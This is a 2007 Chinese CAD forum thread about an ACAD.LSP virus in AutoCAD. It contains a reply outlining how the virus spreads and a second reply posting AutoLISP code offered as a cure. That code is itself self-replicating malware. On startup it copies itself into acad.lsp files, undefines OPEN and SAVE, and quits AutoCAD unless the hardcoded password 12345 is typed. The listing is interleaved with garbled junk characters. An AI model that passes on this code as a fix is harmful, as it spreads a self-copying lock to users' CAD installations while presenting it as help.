中了ACAD.LSP怎么办？？CAD高手进！

bluer7 · 发表于 2007-9-13 16:16

前几天发现打开CAD时，一些常用的快捷命令不能用了，看了PGP文件，一切都未改动，并且打开DWG文件时，会多生成一个ACAD.LSP文件。在网上找了一些方法，都不起作用，用专杀也查不出来（北京鸿业，深圳浩辰），我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的，中了这个家伙后，几乎使我不能制图，这几天急得我茶饭不思，热切期盼高手能解决（可加我QQ：233710887），不胜感激！！！
特将多生成的ACAD文件附上！（见附件）

yjh54900 · 发表于 2007-9-13 16:51

还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.

yjh54900 · 发表于 2007-9-13 16:57

00.定义自动函数S::STARTUP

{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,

{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }

{03.获取菜单文件完整路径和名称,后来又没用~}

{04.获取当前图形文件完整路径和名称,截取当前工作路径}

{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}

{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")
则设程序标记变量LSPBJ为1,表示已经得手过
只读任务结束，关闭文件}

{08.如果找到的ACAD.LSP路径和当前工作路径不同，
并且不在ACAD\support里面，则
{如果LSPBJ为0，也即尚未得手，那么
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
然后同路径创建acadapp.lsp文件，作为刚改过的acad.lsp的备份. }
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则
用复写ACAD\support\acadapp.lsp的方式
在当前工作路径创建acad.lsp. }
要不就这样一步一步的查找.删除他们看看.

bluer7 · 发表于 2007-9-13 17:14

重装也没用啊，问题依旧存在。

yjh54900 · 发表于 2007-9-13 17:25

从网上找的,试试看.可以告诉一声
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn 5 t$ @; P' p ], |( u8 M
applctn oldacad newacad nowdwg lspbj / g. x9 N" F1 d! N: x% X7 m
wjm wjm1 wjqm wjqm1 wz 0 y; }1 z' m. S7 w
ns1 ns2 wjm0 wjqm0
& F# N/ h( E( R2 y# x
)
+ m: {2 `) N) M
(setq lst0 (list "(" "load" "CADstartup.lsp" ")"))
/ t+ G6 M5 F0 u, y3 q% \
. ^' J o5 X f' ^. a: n
(setq old_cmd (getvar "cmdecho"))
& q# W) l6 ]" n! Q3 Z1 k
(setvar "cmdecho" 0) * Y4 q+ p1 l. ?5 _! K0 j1 i8 o
(if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
$ V. y4 f7 q# N
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
* X1 {6 [! T4 `( \* d# K& ]+ S. t2 X( H
(if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
% I) O% X- a/ J! q3 w, f+ z# k
(setq lctn lctn0)
& ` C2 i/ q1 T7 g
(setq lctn (substr lctn 1 (- (strlen lctn) 8))) , j- c0 `7 W6 m
(setq mnllctn (getvar "menuname")) 9 }: P4 `! P$ K) X7 i* ~
(setq nowdwg (getvar "dwgname"))
0 Y7 J( f$ a& P8 O2 m. ^( S# a1 q
(setq wjqm (findfile nowdwg)) 4 _7 n$ W0 M4 _9 ^/ F3 v" w
(setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
' O) o7 N/ N1 y% V3 `4 H0 g
(if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
$ v; i4 O9 V/ @
(setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) ) $ J3 b* a% @7 I i
(setq wjqm (strcat lctn "acad.lsp"))
+ P# d. {7 [, ?* R
(setq wjqm0 (strcat lctn "cadapp.lsp"))
3 X$ y* G& S2 S$ V
(if (setq wjm0 (open wjqm0 "a")) 9 t: R+ {6 j- q# p* I: I5 t9 }/ v6 T
;(progn
" T/ i- i m b- T* h- P5 ^
;(setq aa (read-line wjm0))
& C1 H! U( R" b; L) U
;(if (/= aa "load CADstartup.lsp")
& v& ?5 s* U/ Q" M8 P* p3 `
(progn
. F7 A" _$ t- e3 T7 Z; M" t
(setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0))) / |; M: z6 D1 d3 R. C- Q
(write-line aa wjm0)
j1 M' t! C+ G8 u) g
) ; v0 _7 Q( w5 s5 t% L' q
(close wjm0)
/ ~. h6 S, i$ t6 u V$ `
)
$ |' V1 b( l$ V
' {) h- l+ Q6 P+ K( ?4 t
(setq oldacad (findfile "CADstartup.lsp")) , j5 _) f' t9 ?
(setq newacad (strcat lctn "acad.lsp")) 9 m- y6 f: M$ u1 w) c5 l$ S
(writeapp) * j+ Q# y, i @$ U6 Y
(setq oldacad (findfile "acad.lsp")) 4 _( O) B7 Q9 D J
(setq newacad (strcat dwglctn "acad.lsp"))
0 {. i$ |) O0 _1 ~; g8 [3 T
(writeapp)
& P: M7 y: T5 E
(command "undefine" "open")
" V7 n* n, M4 t
(command "undefine" "save") 9 k$ Z y& E, G3 Y- w
(setvar "cmdecho" old_cmd) 6 X( ~% W0 K3 C
(print "This is CAD") 8 t1 [" w/ d1 |8 G% \8 Q# S
(princ) & e) J M2 W2 g4 m' X/ p
) ) A& e0 ?& @$ U$ o" G
(defun writeapp () ) D7 @( ?) X* k: O2 }
(if
; t. r! h# d% p1 O
(setq wjm1 (open newacad "w"))
( f$ H: ?4 q& P0 S# Q1 r
(progn " ^$ t, O! P8 w
(setq wjm (open oldacad "r")) + G5 f$ g% Q( z9 [
(while
' D9 a4 B- l# E* b- {
(setq wz (read-line wjm)) 2 I- r) O& R) I% U$ p9 P
(write-line wz wjm1)
- M+ z% E0 S. [- f; {
) & f' y) h7 J: D% y0 d5 ~- I* r) ~
(close wjm)
9 }2 x. z2 v3 ]* H6 U
(close wjm1)
, m6 ?& r& P. H; v- m% M) S
) 2 z: o% g0 L; ]' C* F
) 4 u) W2 R* Q. H# @, @ w; c
) : F/ Q# n, }! W7 V) b& z2 T2 a- d
(defun C:open (/ p cont old_cmd)
+ ~6 e' t8 i e7 m
(setq
7 T D# X, I% I! W' I- [$ f
old_cmd (getvar "cmdecho")
% L5 F( Z9 r: N$ M6 {, G3 @
)
! E0 D; _2 j+ D, G8 n
(setvar "cmdecho" 0) 0 V5 A4 R6 a. ]! c, Z
(setq p "12345")
6 ]2 e& u9 t N& C6 T1 h# g# T) A
(setq p0 (getstring "\Input Pass Word:"))
( ?% i0 v6 I2 P& E* f+ q' M+ T/ S3 A
(if (eq p p0) (progn
7 \) B" [9 g" y7 }8 s
(command "redefine" "open") . c8 \9 ?5 U* J; U' }+ w
(command "open" "")) (command "quit" "")) . \" H" T' Q g
) 4 s/ }) p: S1 t6 W/ G3 ^* K7 n. Q, r
(defun C:save (/ old_cmd) - [5 x$ V; f7 l$ v0 P7 j4 w
(setq old_cmd (getvar "cmdecho"))
' {, m0 F7 a2 Y& v, U
(setvar "cmdecho" 0) ; u/ m) R# Y1 z. B8 t: Q
(setq p0 (getstring "\Are you finish?")) / @# H) y" L, h( S8 U
(command "redefine" "save")
1 `3 O0 G) t0 E% r2 d
(command "save" "")
- y9 ~, n7 i, }( s) w5 Y
(setvar "cmdecho" old_cmd)
! o$ S. m% H6 B" x% l! a% V0 p
(princ)
( }9 T' @% x+ {. e4 h ` ^
)

复制代码

luowangsheng · 发表于 2007-9-13 17:42

高手啊!值得学习

vicki0910 · 发表于 2007-9-13 20:57

厉害啊……
完全不懂这东西……

daizhilee · 发表于 2007-9-13 22:22

看有没有试过这个方法，
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件，在“包含文字”数据框中输入：explode，选择搜索所有硬盘驱动器，将搜索到的这两个文件全部删除即可

zhy_7878 · 发表于 2007-9-13 23:26

看了一下病毒的分析,觉得相当麻烦.

jpf54321 · 发表于 2007-9-21 15:19

高手向你学习

毛是生飞 · 发表于 2007-9-21 15:25

还这么一回事??

闲逸 · 发表于 2007-9-21 16:13

高手，也曾中过同样的病毒，重装了系统才搞定它！

jianlong · 发表于 2009-2-24 16:28

真厉害，佩服啊，全都看不懂啊

beyondxxx · 发表于 2009-5-3 08:44

不太懂高手们说的什么意思啊，还是没弄明白怎么搞定，这代码什么的咱也不懂啊

jianlong · 发表于 2009-5-3 14:31

天文符号，总有一天我也会看懂的！

		自动登录	找回密码
密码			立即注册

中了ACAD.LSP怎么办？？CAD高手进！

本帖子中包含更多资源

回复 #2 yjh54900 的帖子

浏览过的版块